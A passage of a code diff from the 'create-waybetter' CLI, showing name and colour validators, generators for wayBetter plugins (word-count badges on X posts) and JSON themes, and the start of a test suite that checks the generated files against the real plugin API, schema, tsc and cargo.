const shown = relative(io.cwd, target) || '.';
io.stdout.write(`\nCreated a wayBetter ${type} in ${shown} (${files.length} files).\n`);
for (const warning of warnings) io.stdout.write(` note: ${warning}\n`);
io.stdout.write(`\nNext:\n${shown === '.' ? '' : ` cd ${shown}\n`}${next.map(step => ` ${step}\n`).join('')}`);
return 0;
} catch (error) {
if (error instanceof UsageError) {
io.stderr.write(`${error.message}\n`);
return 1;
}
throw error;
} finally {
ui.close();
}
}

View file

@ -0,0 +1,73 @@
// Names and small validators shared by the generators. Pure; no I/O.
/** A usage error: shown to the user as-is, exit code 1, no stack. */
export class UsageError extends Error {}
/** `Hide Trends!` -> `hide-trends` (ASCII letters and digits, dashes between). */
export function slugify(value, max = 64) {
return String(value)
.normalize('NFKD')
.replace(/\p{M}/gu, '')
.toLowerCase()
.replace(/[^a-z0-9]+/g, '-')
.replace(/^-+|-+$/g, '')
.slice(0, max)
.replace(/-+$/, '');
}
/** `hide trends 2` -> `HideTrends2`; always a valid JS/Rust type identifier. */
export function pascalCase(value) {
const words = String(value).normalize('NFKD').replace(/\p{M}/gu, '').replace(/[^A-Za-z0-9]+/g, ' ').trim().split(/\s+/).filter(Boolean);
const name = words.map(word => word[0].toUpperCase() + word.slice(1)).join('');
return /^[A-Za-z]/.test(name) ? name : `Plugin${name}`;
}
/** `wayBetter for Kick` -> `wayBetterForKick` (camelCase, for `data-*` keys). */
export function camelCase(value) {
const name = pascalCase(value);
return name[0].toLowerCase() + name.slice(1);
}
/**
* A value for a `@name` / `@description` / ... plugin header line, or a theme string. The plugin
* store reads each header line up to its end, drops control characters and keeps 300 characters
* (waybetter-host `plugins::parse_meta`), so values are one line and cannot end the comment.
*/
export function headerValue(label, value, { max = 300, required = false } = {}) {
const text = String(value ?? '').trim();
if (required && !text) throw new UsageError(`${label} is required.`);
if (/[\u0000-\u001f\u007f]/.test(text)) throw new UsageError(`${label} must be one line of text.`);
if (text.includes('*/')) throw new UsageError(`${label} cannot contain "*/".`);
if (text.length > max) throw new UsageError(`${label} is longer than ${max} characters.`);
return text;
}
/** Semver-ish plugin version (`1.0.0`, `0.3.1-beta.2`). */
export function versionValue(value) {
const text = String(value ?? '1.0.0').trim() || '1.0.0';
if (!/^\d+\.\d+\.\d+(?:[-+][0-9A-Za-z.-]+)?$/.test(text)) throw new UsageError(`Version "${text}" is not like 1.0.0.`);
return text;
}
export const HEX = /^#[0-9a-fA-F]{6}$/;
/** `#abc` / `abc123` / `#ABC123` -> `#aabbcc` style lowercase six-digit hex. */
export function hexValue(label, value) {
let text = String(value ?? '').trim().toLowerCase();
if (!text.startsWith('#')) text = `#${text}`;
const short = /^#([0-9a-f])([0-9a-f])([0-9a-f])$/.exec(text);
if (short) text = `#${short[1]}${short[1]}${short[2]}${short[2]}${short[3]}${short[3]}`;
if (!HEX.test(text)) throw new UsageError(`${label} must be a hex color like #1d9bf0 (got "${value}").`);
return text;
}
/** A JS/TS string literal. */
export const str = value => JSON.stringify(String(value));
/** A Rust string literal (JSON escapes are valid Rust escapes for the characters we allow). */
export function rustStr(value) {
return JSON.stringify(String(value)).replace(/\\u([0-9a-fA-F]{4})/g, (_, hex) => `\\u{${hex}}`);
}
/** Joins lines with `\n` and ends the file with one newline. */
export const lines = (...parts) => `${parts.flat().join('\n').replace(/\n+$/, '')}\n`;

View file

@ -0,0 +1,426 @@
// `npm create waybetter -- plugin`: one BetterDiscord-style `*.plugin.js` file (a class with
// start/stop and the header the plugin store reads), optionally as a small TypeScript project
// whose build writes that file. The example uses the real plugin API: `api.scope()`, storage,
// observe, onKey, the UI kit (`scope.ui`: toast with an action, a settings dialog built with
// `ui.h`) and the theme API (`api.theme`, `--wb-*` CSS variables).
import { UsageError, headerValue, lines, pascalCase, slugify, str, versionValue } from './names.js';
/** Which app the plugin targets: wayBetter for X adds post/account readers to the core API. */
export const PLUGIN_APPS = ['x', 'any'];
/**
* @typedef {{ name: string, description?: string, author?: string, version?: string,
* typescript?: boolean, app?: string }} PluginInput
* @typedef {{ name: string, description: string, author: string, version: string,
* typescript: boolean, app: 'x' | 'any', id: string, className: string, file: string }} PluginOptions
* @typedef {{ path: string, content: string | Uint8Array }} OutputFile
*/
/** @param {PluginInput} input @returns {PluginOptions} */
export function normalizePluginOptions(input) {
const name = headerValue('Plugin name', input.name, { max: 60, required: true });
const id = slugify(name, 48);
if (!id) throw new UsageError(`Plugin name "${name}" needs at least one letter or digit.`);
const app = String(input.app ?? 'x');
if (!PLUGIN_APPS.includes(app)) throw new UsageError(`--app must be one of: ${PLUGIN_APPS.join(', ')}.`);
return {
name,
description: headerValue('Description', input.description || `${name}, a wayBetter plugin.`, { max: 200 }),
author: headerValue('Author', input.author || 'you', { max: 60 }),
version: versionValue(input.version),
typescript: Boolean(input.typescript),
app: /** @type {'x' | 'any'} */ (app),
id,
className: pascalCase(name),
// A bare `name.plugin.js`: letters, digits, `-` only (waybetter-host `valid_file_name`).
file: `${id}.plugin.js`,
};
}
/** @param {PluginOptions} o */
function header(o) {
return lines(
'/**',
` * @name ${o.name}`,
` * @description ${o.description}`,
` * @version ${o.version}`,
` * @author ${o.author}`,
' */',
);
}
/** The item a badge is added to, and how its text is read. @param {PluginOptions} o */
function itemParts(o) {
if (o.app === 'x') {
return {
selector: `'article[data-testid="tweet"]'`,
selectorNote: '// One post on X.',
text: 'this.api.tweet(item)?.text ?? \'\'',
anchor: `item.querySelector('[data-testid="User-Name"]') ?? item`,
};
}
return {
selector: `'[data-example-item]'`,
selectorNote: '// PLACEHOLDER: a selector for one item of your app\'s site (a post, a message, a video).',
text: `item.textContent ?? ''`,
anchor: 'item',
};
}
/** @param {PluginOptions} o */
function jsSource(o) {
const item = itemParts(o);
return lines(
header(o).trimEnd(),
'// Made with `npm create waybetter`. The API is documented in PLUGINS.md (wayBetter for X:',
'// docs/PLUGINS.md) and in the waybetter package README (plugin UI kit, themes).',
'',
`const ID = ${str(o.id)}; // storage namespace and CSS id`,
`const ITEM = ${item.selector}; ${item.selectorNote}`,
'',
`module.exports = class ${o.className} {`,
' start() {',
' const api = window.wayBetter.api;',
' this.api = api;',
' // A scope collects everything the plugin adds; stop() undoes it all with scope.dispose().',
' this.scope = api.scope();',
' this.store = api.storage(ID);',
' this.settings = { badges: true, ...this.store.get(\'settings\', {}) };',
'',
' // Plugin CSS follows the active theme through the --wb-* variables.',
' this.scope.css(ID, `',
' .${ID}-badge { margin-inline-start: 8px; padding: 1px 8px; border: 1px solid var(--wb-border);',
' border-radius: var(--wb-button-radius); background: var(--wb-surface); color: var(--wb-muted);',
' font: 500 12px/18px var(--wb-font); white-space: nowrap; }',
' html[data-${ID}-off] .${ID}-badge { display: none; }',
' `);',
' this.apply();',
' this.scope.defer(() => document.documentElement.removeAttribute(`data-${ID}-off`));',
'',
' // Once for every matching element, now and as the page renders more (batched per frame).',
' this.scope.observe(ITEM, item => this.decorate(item));',
'',
' // A single-key shortcut, skipped while typing: Shift+W opens the settings.',
' this.scope.onKey(event => { if (event.key === \'W\') this.openSettings(); });',
'',
' if (!this.store.get(\'welcomed\', false)) {',
' this.store.set(\'welcomed\', true);',
` this.scope.ui.toast(${str(`${o.name} is on`)}, { tone: 'success', action: { label: 'Settings', onClick: () => this.openSettings() } });`,
' }',
' }',
'',
' decorate(item) {',
` const text = ${item.text};`,
' const words = text.trim() ? text.trim().split(/\\s+/).length : 0;',
' // scope.add: removed again on dispose.',
' const badge = this.scope.add(document.createElement(\'span\'));',
' badge.className = `${ID}-badge`;',
' badge.textContent = `${words} ${words === 1 ? \'word\' : \'words\'}`;',
` ${item.anchor}.append(badge);`,
' }',
'',
' apply() {',
' document.documentElement.toggleAttribute(`data-${ID}-off`, !this.settings.badges);',
' }',
'',
' openSettings() {',
' const ui = this.scope.ui; // scoped: the dialog closes if the plugin stops',
' const h = ui.h; // safe element builder: strings become text, on* functions listeners',
' const theme = this.api.theme.current();',
' const badges = h(\'input\', { type: \'checkbox\', checked: this.settings.badges });',
' ui.dialog({',
` title: ${str(o.name)},`,
' message: `Drawn in the active theme: ${theme.name || theme.id}, ${theme.mode}.`,',
' content: body => body.append(',
' h(\'label\', { class: \'wb-check\' }, badges, h(\'span\', null, \'Show word counts\', h(\'small\', null, \'A small badge on each item.\'))),',
' ),',
' actions: [',
' { label: \'Cancel\' },',
' { label: \'Save\', tone: \'primary\', default: true, onClick: handle => {',
' const next = { ...this.settings, badges: badges.checked };',
' if (!this.store.set(\'settings\', next)) {',
' handle.setError(\'Could not save.\');',
' return false; // keeps the dialog open',
' }',
' this.settings = next;',
' this.apply();',
' ui.toast(\'Saved\', { tone: \'success\' });',
' } },',
' ],',
' });',
' }',
'',
' stop() {',
' this.scope?.dispose();',
' this.scope = null;',
' }',
'};',
);
}
/** @param {PluginOptions} o */
function tsSource(o) {
const item = itemParts(o);
return lines(
header(o).trimEnd(),
'// Made with `npm create waybetter`. `npm run build` writes dist/' + o.file + ' (header first).',
'',
"import type { PluginScope, PluginStorage } from 'waybetter/runtime/pluginApi';",
"import type { PluginApi } from './waybetter-env';",
'',
`const ID = ${str(o.id)}; // storage namespace and CSS id`,
`const ITEM = ${item.selector}; ${item.selectorNote}`,
'',
'type Settings = { badges: boolean };',
'',
`export default class ${o.className} {`,
' private api!: PluginApi;',
' private scope: PluginScope | null = null;',
' private store!: PluginStorage;',
' private settings: Settings = { badges: true };',
'',
' start(): void {',
' const api = window.wayBetter.api;',
' this.api = api;',
' // A scope collects everything the plugin adds; stop() undoes it all with scope.dispose().',
' const scope = this.scope = api.scope();',
' this.store = api.storage(ID);',
' this.settings = { badges: true, ...this.store.get<Partial<Settings>>(\'settings\', {}) };',
'',
' // Plugin CSS follows the active theme through the --wb-* variables.',
' scope.css(ID, `',
' .${ID}-badge { margin-inline-start: 8px; padding: 1px 8px; border: 1px solid var(--wb-border);',
' border-radius: var(--wb-button-radius); background: var(--wb-surface); color: var(--wb-muted);',
' font: 500 12px/18px var(--wb-font); white-space: nowrap; }',
' html[data-${ID}-off] .${ID}-badge { display: none; }',
' `);',
' this.apply();',
' scope.defer(() => document.documentElement.removeAttribute(`data-${ID}-off`));',
'',
' // Once for every matching element, now and as the page renders more (batched per frame).',
' scope.observe(ITEM, item => this.decorate(scope, item));',
'',
' // A single-key shortcut, skipped while typing: Shift+W opens the settings.',
' scope.onKey(event => { if (event.key === \'W\') this.openSettings(); });',
'',
' if (!this.store.get(\'welcomed\', false)) {',
' this.store.set(\'welcomed\', true);',
` scope.ui.toast(${str(`${o.name} is on`)}, { tone: 'success', action: { label: 'Settings', onClick: () => this.openSettings() } });`,
' }',
' }',
'',
' private decorate(scope: PluginScope, item: Element): void {',
` const text = ${item.text};`,
' const words = text.trim() ? text.trim().split(/\\s+/).length : 0;',
' // scope.add: removed again on dispose.',
' const badge = scope.add(document.createElement(\'span\'));',
' badge.className = `${ID}-badge`;',
' badge.textContent = `${words} ${words === 1 ? \'word\' : \'words\'}`;',
` ${item.anchor}.append(badge);`,
' }',
'',
' private apply(): void {',
' document.documentElement.toggleAttribute(`data-${ID}-off`, !this.settings.badges);',
' }',
'',
' private openSettings(): void {',
' if (!this.scope) return;',
' const ui = this.scope.ui; // scoped: the dialog closes if the plugin stops',
' const h = ui.h; // safe element builder: strings become text, on* functions listeners',
' const theme = this.api.theme.current();',
' const badges = h(\'input\', { type: \'checkbox\', checked: this.settings.badges }) as HTMLInputElement;',
' ui.dialog({',
` title: ${str(o.name)},`,
' message: `Drawn in the active theme: ${theme.name || theme.id}, ${theme.mode}.`,',
' content: body => body.append(',
' h(\'label\', { class: \'wb-check\' }, badges, h(\'span\', null, \'Show word counts\', h(\'small\', null, \'A small badge on each item.\'))),',
' ),',
' actions: [',
' { label: \'Cancel\' },',
' { label: \'Save\', tone: \'primary\', default: true, onClick: handle => {',
' const next: Settings = { ...this.settings, badges: badges.checked };',
' if (!this.store.set(\'settings\', next)) {',
' handle.setError(\'Could not save.\');',
' return false; // keeps the dialog open',
' }',
' this.settings = next;',
' this.apply();',
' ui.toast(\'Saved\', { tone: \'success\' });',
' return true;',
' } },',
' ],',
' });',
' }',
'',
' stop(): void {',
' this.scope?.dispose();',
' this.scope = null;',
' }',
'}',
);
}
/** Types of `window.wayBetter` for the TypeScript project. @param {PluginOptions} o */
function envTypes(o) {
const x = o.app === 'x';
return lines(
'// `window.wayBetter`: the page runtime plugins run against. The core API and its types come',
'// from the `waybetter` package; an app adds its own readers on top (wayBetter for X: posts,',
'// the signed-in account and users, see docs/PLUGINS.md).',
"import type { CorePluginApi } from 'waybetter/runtime/pluginApi';",
x ? "import type { SeenAccount } from 'waybetter/runtime/accountReport';" : '',
'',
x ? lines(
'/** A rendered post, read by `api.tweet(element)`. */',
'export type TweetInfo = {',
' id: string;',
' url: string;',
' handle: string;',
' name: string;',
' /** Emoji as characters, t.co links as the destination X shows. */',
' text: string;',
' /** ISO timestamp of the post\'s `<time datetime>`. */',
' time: string | null;',
' /** Full-size image URLs of the post itself. */',
' media: string[];',
' element: Element;',
'};',
'',
'/** What X\'s own responses said about a user this session; null = not seen (never guessed). */',
'export type UserInfo = {',
' xUserId: string;',
' handle: string;',
' blue: boolean | null;',
' verifiedType: string | null;',
' following: boolean | null;',
'};',
'',
'export type PluginApi = CorePluginApi & {',
' tweet(element: Element | null | undefined): TweetInfo | null;',
' account(): SeenAccount | null;',
' users: { get(handle: string): UserInfo | null; onUpdate(callback: (handles: string[]) => void): () => void };',
' isTypingTarget(target: EventTarget | null): boolean;',
'};',
).trimEnd() : 'export type PluginApi = CorePluginApi;',
'',
'declare global {',
' interface Window {',
' wayBetter: {',
' api: PluginApi;',
' /** Load errors by plugin file. */',
' errors: Record<string, string>;',
' };',
' }',
'}',
).replace(/\n\n\n+/g, '\n\n');
}
/** Builds dist/<file> from src/<file-ts> with the TypeScript compiler; the header stays first. */
function buildScript(o) {
const tsFile = o.file.replace(/\.js$/, '.ts');
return lines(
'// Compiles the plugin to one CommonJS file the plugin store can load. The `/** @name … */`',
'// header must be the very first thing in the file, so it is cut from the source and put back',
'// on top of the compiled output.',
"import { mkdirSync, readFileSync, writeFileSync } from 'node:fs';",
"import ts from 'typescript';",
'',
`const source = readFileSync(new URL('./src/${tsFile}', import.meta.url), 'utf8');`,
'const header = /^\\uFEFF?\\s*(\\/\\*\\*[\\s\\S]*?\\*\\/)/.exec(source);',
"if (!header) throw new Error('The plugin must start with its /** @name … */ header.');",
'const { outputText, diagnostics } = ts.transpileModule(source.slice(header[0].length), {',
` fileName: ${str(tsFile)},`,
' reportDiagnostics: true,',
' compilerOptions: { module: ts.ModuleKind.CommonJS, target: ts.ScriptTarget.ES2022, removeComments: false },',
'});',
'if (diagnostics?.length) {',
" for (const d of diagnostics) console.error(ts.flattenDiagnosticMessageText(d.messageText, '\\n'));",
' process.exit(1);',
'}',
"mkdirSync(new URL('./dist/', import.meta.url), { recursive: true });",
`writeFileSync(new URL('./dist/${o.file}', import.meta.url), \`\${header[1]}\\n\${outputText}\`);`,
`console.log('dist/${o.file}');`,
);
}
/** @param {PluginOptions} o */
function readme(o) {
const x = o.app === 'x';
const target = x ? 'wayBetter for X' : 'your wayBetter app';
const file = o.typescript ? `dist/${o.file}` : o.file;
return lines(
`# ${o.name}`,
'',
o.description,
'',
`A plugin for ${target}: one \`*.plugin.js\` file with a class that has \`start()\` and \`stop()\`.`,
'',
'## Install',
'',
...(o.typescript ? ['```sh', 'npm install', 'npm run build # writes ' + file, 'npm run typecheck', '```', ''] : []),
`1. Open **wayBetter → Plugins → Open folder** and copy \`${file}\` into it.`,
'2. Press **Rescan** and turn the plugin on. It starts and stops live on every page.',
'',
'The header comment at the top (`@name`, `@description`, `@version`, `@author`) is what the',
'Plugins list shows; keep it the first thing in the file.',
'',
'## What the example shows',
'',
'- `api.scope()`: everything the plugin adds (CSS, observers, key handlers, nodes, dialogs) is',
' undone by one `scope.dispose()` in `stop()`.',
'- `api.storage(namespace)`: settings kept in the tab\'s local storage.',
'- `scope.observe(selector, fn)`: once per matching element, now and as the page renders more.',
'- `scope.onKey(fn)`: a single-key shortcut (Shift+W) that never fires while you type.',
'- `scope.ui`: a toast with an action and a settings dialog built with `ui.h`; they use the',
' active theme and close when the plugin stops.',
'- `api.theme.current()` and the `--wb-*` CSS variables: the badge matches every theme.',
x ? '- `api.tweet(element)`: reads a rendered post (X only).' : '- Replace the `ITEM` placeholder selector with one item of your app\'s site.',
'',
'## Rules',
'',
'- No network requests and no account actions (like, follow, post, delete).',
'- `stop()` must undo everything; use the scope instead of your own observers and timers.',
'- A plugin runs inside the page with the page\'s own access: share only code you would trust.',
'',
x ? 'Reference: `docs/PLUGINS.md` in the wayBetter for X repository, and **wayBetter → Make** in the app.' : 'Reference: the `waybetter` package README (plugin UI kit and themes).',
);
}
/** @param {PluginOptions} o @returns {OutputFile[]} */
export function pluginFiles(o) {
const readmeFile = { path: 'README.md', content: readme(o) };
if (!o.typescript) return [{ path: o.file, content: jsSource(o) }, readmeFile];
const pkg = {
name: o.id,
version: o.version,
private: true,
type: 'module',
description: o.description,
scripts: { build: 'node build.mjs', typecheck: 'tsc -p tsconfig.json' },
devDependencies: { typescript: '^5.9.0', waybetter: '^0.2.0' },
};
const tsconfig = {
compilerOptions: {
target: 'ES2022',
lib: ['ES2022', 'DOM', 'DOM.Iterable'],
module: 'ESNext',
moduleResolution: 'Bundler',
noEmit: true,
strict: true,
skipLibCheck: true,
isolatedModules: true,
types: [],
},
include: ['src'],
};
return [
{ path: `src/${o.file.replace(/\.js$/, '.ts')}`, content: tsSource(o) },
{ path: 'src/waybetter-env.d.ts', content: envTypes(o) },
{ path: 'build.mjs', content: buildScript(o) },
{ path: 'package.json', content: `${JSON.stringify(pkg, null, 2)}\n` },
{ path: 'tsconfig.json', content: `${JSON.stringify(tsconfig, null, 2)}\n` },
{ path: '.gitignore', content: lines('node_modules/', 'dist/') },
readmeFile,
];
}

View file

@ -0,0 +1,179 @@
// `npm create waybetter -- theme`: a wayBetter theme file (JSON, data not a stylesheet) with
// "$schema" pointing at the schema published in the `waybetter` package, a full palette derived
// from three colors the way the runtime derives missing roles, and the font roles.
import { UsageError, headerValue, hexValue, lines, slugify } from './names.js';
/** Where the `waybetter` package publishes the theme JSON Schema (runtime `THEME_SCHEMA_URL`). */
export const THEME_SCHEMA_URL = 'https://unpkg.com/waybetter/theme.schema.json';
export const THEME_MODES = ['dark', 'light', 'auto'];
/** Generic families the schema accepts in a font stack, besides font names. */
const GENERIC_FONTS = ['system-ui', 'sans-serif', 'serif', 'monospace', 'cursive', 'ui-sans-serif', 'ui-serif', 'ui-monospace', 'ui-rounded', '-apple-system', 'BlinkMacSystemFont'];
const FONT_NAME = /^[A-Za-z0-9][A-Za-z0-9 .\-]{0,47}$/;
/** Starting points: `--preset` fills the three seed colors. */
export const THEME_PRESETS = {
midnight: { mode: 'dark', bg: '#0b1110', text: '#e8f3ef', accent: '#3ddc97' },
paper: { mode: 'light', bg: '#fbf8f1', text: '#1f1b16', accent: '#c2410c' },
dusk: { mode: 'dark', bg: '#15121f', text: '#ece8f6', accent: '#a78bfa' },
};
/**
* @typedef {{ name: string, description?: string, author?: string, mode?: string, preset?: string,
* bg?: string, text?: string, accent?: string, font?: string, postFont?: string,
* radius?: number | string, schema?: string }} ThemeInput
*/
/** `"Geist, system-ui"` -> `["Geist", "system-ui"]`, each checked against the schema's font rules. */
export function fontStack(label, value) {
if (value == null || value === '') return [];
const names = (Array.isArray(value) ? value : String(value).split(','))
.map(name => String(name).trim().replace(/^["']|["']$/g, ''))
.filter(Boolean);
if (names.length > 8) throw new UsageError(`${label}: at most 8 fonts.`);
for (const name of names) {
if (!GENERIC_FONTS.includes(name) && !FONT_NAME.test(name)) throw new UsageError(`${label}: "${name}" is not a font name (letters, digits, spaces, "." and "-").`);
}
return names;
}
function channels(hex) {
const n = parseInt(hex.slice(1), 16);
return [(n >> 16) & 255, (n >> 8) & 255, n & 255];
}
function luminance(hex) {
const [r, g, b] = channels(hex).map(v => { const c = v / 255; return c <= 0.03928 ? c / 12.92 : ((c + 0.055) / 1.055) ** 2.4; });
return 0.2126 * r + 0.7152 * g + 0.0722 * b;
}
/** WCAG contrast ratio of two `#rrggbb` colors. */
export function contrast(a, b) {
const [x, y] = [luminance(a), luminance(b)].sort((m, n) => n - m);
return (x + 0.05) / (y + 0.05);
}
function mix(a, b, t) {
const [x, y] = [channels(a), channels(b)];
return `#${x.map((v, i) => Math.round(v + (y[i] - v) * t).toString(16).padStart(2, '0')).join('')}`;
}
/**
* Every color role from bg/text/accent, with the proportions the runtime uses for a theme that
* sets only those three (`themeFromColors` in waybetter/runtime/themeApi).
*/
export function derivePalette(bg, text, accent) {
const dark = luminance(bg) < luminance(text);
return {
bg,
surface: mix(bg, text, dark ? 0.05 : 0.03),
elevated: mix(bg, text, dark ? 0.1 : 0.07),
border: mix(bg, text, dark ? 0.2 : 0.15),
text,
muted: mix(bg, text, 0.62),
accent,
inverse: text,
onInverse: bg,
page: bg,
};
}
/** @param {ThemeInput} input */
export function normalizeThemeOptions(input) {
const name = headerValue('Theme name', input.name, { max: 60, required: true });
const id = slugify(name, 40);
if (!id) throw new UsageError(`Theme name "${name}" needs at least one letter or digit.`);
const preset = input.preset ? THEME_PRESETS[/** @type {keyof typeof THEME_PRESETS} */ (input.preset)] : THEME_PRESETS.midnight;
if (!preset) throw new UsageError(`--preset must be one of: ${Object.keys(THEME_PRESETS).join(', ')}.`);
const mode = String(input.mode || preset.mode);
if (!THEME_MODES.includes(mode)) throw new UsageError(`--mode must be one of: ${THEME_MODES.join(', ')}.`);
const bg = hexValue('Background (--bg)', input.bg || preset.bg);
const text = hexValue('Text (--text)', input.text || preset.text);
const accent = hexValue('Accent (--accent)', input.accent || preset.accent);
const radius = input.radius == null || input.radius === '' ? 16 : Number(input.radius);
if (!Number.isInteger(radius) || radius < 0 || radius > 28) throw new UsageError('--radius must be a whole number from 0 to 28.');
const schema = String(input.schema || 'url');
if (!['url', 'local'].includes(schema)) throw new UsageError('--schema must be url or local.');
const warnings = [];
const ratio = contrast(bg, text);
if (ratio < 7) warnings.push(`Text on background is ${ratio.toFixed(1)}:1; the app raises text to 7:1 when it imports the theme.`);
if (contrast(bg, accent) < 4.5) warnings.push(`Accent on background is ${contrast(bg, accent).toFixed(1)}:1; the app adjusts it to 4.5:1 for links.`);
return {
name,
id,
description: headerValue('Description', input.description || `${name}, a wayBetter theme.`, { max: 200 }),
author: headerValue('Author', input.author || 'you', { max: 60 }),
mode,
colors: derivePalette(bg, text, accent),
family: fontStack('Interface font (--font)', input.font ?? 'system-ui'),
postFont: fontStack('Post font (--post-font)', input.postFont),
radius,
schema,
warnings,
};
}
/** @param {ReturnType<typeof normalizeThemeOptions>} o */
export function themeDocument(o) {
return {
$schema: o.schema === 'local' ? './node_modules/waybetter/theme.schema.json' : THEME_SCHEMA_URL,
id: o.id,
name: o.name,
description: o.description,
author: o.author,
version: 1,
mode: o.mode,
colors: o.colors,
font: {
// Font roles: `family` is the interface, `tweet` the text of posts/messages. Empty keeps the site's font.
family: o.family,
tweet: o.postFont,
scale: 1,
weight: 400,
bold: 700,
tracking: 0,
leading: 0,
},
shape: { radius: o.radius, button: 9999, avatar: 'circle' },
effects: { motion: 120, hover: 'tint', shadow: 'soft', crt: false },
};
}
/** @param {ReturnType<typeof normalizeThemeOptions>} o */
export function themeFiles(o) {
const file = `${o.id}.theme.json`;
return [
{ path: file, content: `${JSON.stringify(themeDocument(o), null, 2)}\n` },
{
path: 'README.md',
content: lines(
`# ${o.name}`,
'',
o.description,
'',
`A wayBetter theme: \`${file}\` is data, not a stylesheet. The app maps the site's own colors`,
'onto this palette and keeps every text readable.',
'',
'## Use it',
'',
`**wayBetter → Appearance → Import** and pick \`${file}\`. Export any theme from the same place.`,
'',
'## Edit it',
'',
'- `colors`: `bg`, `text` and `accent` are required; `surface`, `elevated`, `border`, `muted`,',
' `inverse`/`onInverse` (the filled primary button) and `page` were derived from them and can be',
' changed or removed (removed roles are derived again). Six-digit hex only.',
'- `font.family` (interface) and `font.tweet` (post text): installed font names or generic',
' families; `Geist` and `Geist Mono` are bundled with wayBetter for X. `scale`, `weight`, `bold`,',
' `tracking` and `leading` fine-tune them.',
'- `shape`, `layout`, `background`, `effects` and `css`: see THEMES.md (wayBetter for X:',
' `docs/THEMES.md`).',
'',
'The `"$schema"` line gives editors like VS Code completion and range checks for every field.',
'The app is more forgiving than the schema: out-of-range values are clamped on import.',
),
},
];
}

View file

@ -0,0 +1,400 @@
// create-waybetter: runs the CLI non-interactively into temp directories and checks what it wrote
// against the real contracts: plugin headers with the plugin store's own parser (Rust
// `parse_meta` via the waybetter-host `plugin_meta` example), plugin code against the real plugin
// API surface (createCorePluginApi), themes against theme.schema.json, app skeletons with tsc
// against the built `waybetter` package, and `cargo metadata`, `cargo check` (desktop, Tauri) and
// `cargo test` (headless) against the waybetter-host crate. The cargo check shares a target
// directory in the OS temp folder: about a minute cold, seconds after that; it needs the crates in
// the local registry cache (offline). WAYBETTER_SKIP_CARGO_CHECK=1 skips it.
import assert from 'node:assert/strict';
import { execFileSync, spawnSync } from 'node:child_process';
import { existsSync, mkdirSync, mkdtempSync, readFileSync, readdirSync, rmSync, symlinkSync, writeFileSync } from 'node:fs';
import { tmpdir } from 'node:os';
import { dirname, join, resolve } from 'node:path';
import test from 'node:test';
import { fileURLToPath } from 'node:url';
import vm from 'node:vm';
import { createCorePluginApi } from '../../runtime/src/pluginApi.ts';
import { themeFromColors } from '../../runtime/src/themeApi.ts';
import { APP_OUTPUTS, HOST_COMMANDS, SITE_PRESETS } from '../src/app.js';
import { normalizeReleaseConfig } from '../../waybetter/cli/release.mjs';
import { main } from '../src/cli.js';
import { UsageError, headerValue, pascalCase, slugify } from '../src/names.js';
import { normalizeThemeOptions, THEME_PRESETS } from '../src/theme.js';
import { validate } from './jsonSchema.mjs';
const ROOT = resolve(dirname(fileURLToPath(import.meta.url)), '../../..');
const HOST_CRATE = join(ROOT, 'crates/waybetter-host');
const PACKAGE = join(ROOT, 'packages/waybetter');
const TSC = join(ROOT, 'node_modules/typescript/bin/tsc');
const SCHEMA = JSON.parse(readFileSync(join(PACKAGE, 'theme.schema.json'), 'utf8'));
const EXPORTS = Object.keys(JSON.parse(readFileSync(join(PACKAGE, 'package.json'), 'utf8')).exports);
/** A `waybetter/...` specifier is one of the package's exports (patterns like `./locales/*.json` included). */
const exported = specifier => {
const sub = `./${specifier.slice('waybetter/'.length)}`;
return EXPORTS.some(key => (key.includes('*') ? sub.startsWith(key.slice(0, key.indexOf('*'))) && sub.endsWith(key.slice(key.indexOf('*') + 1)) : key === sub));
};
const BIN = join(ROOT, 'packages/create-waybetter/bin/create-waybetter.js');
const work = mkdtempSync(join(tmpdir(), 'create-waybetter-'));
test.after(() => rmSync(work, { recursive: true, force: true }));
const hasCargo = spawnSync('cargo', ['--version'], { encoding: 'utf8', shell: process.platform === 'win32' }).status === 0;
const packageBuilt = existsSync(join(PACKAGE, 'dist/runtime/pluginApi.d.ts'));
/** Runs the CLI in-process in `work`; returns { code, out, err }. */
async function create(...args) {
let out = '';
let err = '';
const code = await main(args, {
cwd: work,
stdout: { write: text => { out += text; } },
stderr: { write: text => { err += text; } },
stdin: /** @type {any} */ ({ isTTY: false }),
});
return { code, out, err };
}
const read = (...parts) => readFileSync(join(work, ...parts), 'utf8');
/** The plugin store's own header parser (Rust), one result per file. */
function pluginMeta(...files) {
const output = execFileSync('cargo', ['run', '--quiet', '--locked', '--manifest-path', join(HOST_CRATE, 'Cargo.toml'), '--example', 'plugin_meta', '--', ...files], { encoding: 'utf8' });
return output.trim().split('\n').map(line => JSON.parse(line));
}
/** node_modules/<name> -> target, as a junction (no admin rights needed on Windows). */
function link(dir, name, target) {
const path = join(dir, 'node_modules', name);
mkdirSync(dirname(path), { recursive: true });
if (!existsSync(path)) symlinkSync(target, path, 'junction');
}
function tsc(project) {
const result = spawnSync(process.execPath, [TSC, '-p', project], { encoding: 'utf8' });
assert.equal(result.status, 0, `tsc -p ${project}\n${result.stdout}${result.stderr}`);
}
// ---------------------------------------------------------------------------------------------
// The real plugin API surface, from the runtime itself.
const SITE = { name: 'Test', product: 'Test', storagePrefix: 't:', styleDataKey: 't', toastId: 't-ui', toastBackground: '#1d9bf0', itemSelector: 'article', chordKeys: [] };
const core = createCorePluginApi(/** @type {any} */ ({ document: {}, location: { href: 'https://x.com/' } }), SITE);
const API_KEYS = new Set(Object.keys(core));
const SCOPE_KEYS = new Set(Object.keys(core.scope()));
const UI_KEYS = new Set(Object.keys(core.ui));
/** An object that throws on any member the real API does not have. */
function strict(label, keys, impl) {
return new Proxy(impl, {
get(target, key) {
if (typeof key === 'symbol' || key === 'then') return target[key];
if (!keys.has(key)) throw new Error(`${label}.${key} is not part of the wayBetter plugin API`);
if (!(key in target)) throw new Error(`test harness: ${label}.${key} is not stubbed`);
return target[key];
},
});
}
function element(tag) {
return {
tag, className: '', textContent: '', children: [], attrs: new Map(),
append(...nodes) { this.children.push(...nodes); },
querySelector: () => null,
toggleAttribute(name, on) { if (on) this.attrs.set(name, ''); else this.attrs.delete(name); },
removeAttribute(name) { this.attrs.delete(name); },
};
}
/** Loads a plugin file the way waybetter-host `start_script` does and drives it through a lifecycle. */
function runPlugin(source, { extras = {} } = {}) {
const calls = [];
const store = new Map();
const observers = [];
const keyHandlers = [];
let disposed = false;
const ui = strict('ui', UI_KEYS, {
toast: (message, options) => { calls.push(['toast', message, options]); return { element: {}, close() {}, closed: Promise.resolve() }; },
dialog: options => { calls.push(['dialog', options]); return { element: {}, body: element('div'), open: true, closed: Promise.resolve(), close() {}, setError() {}, setBusy() {} }; },
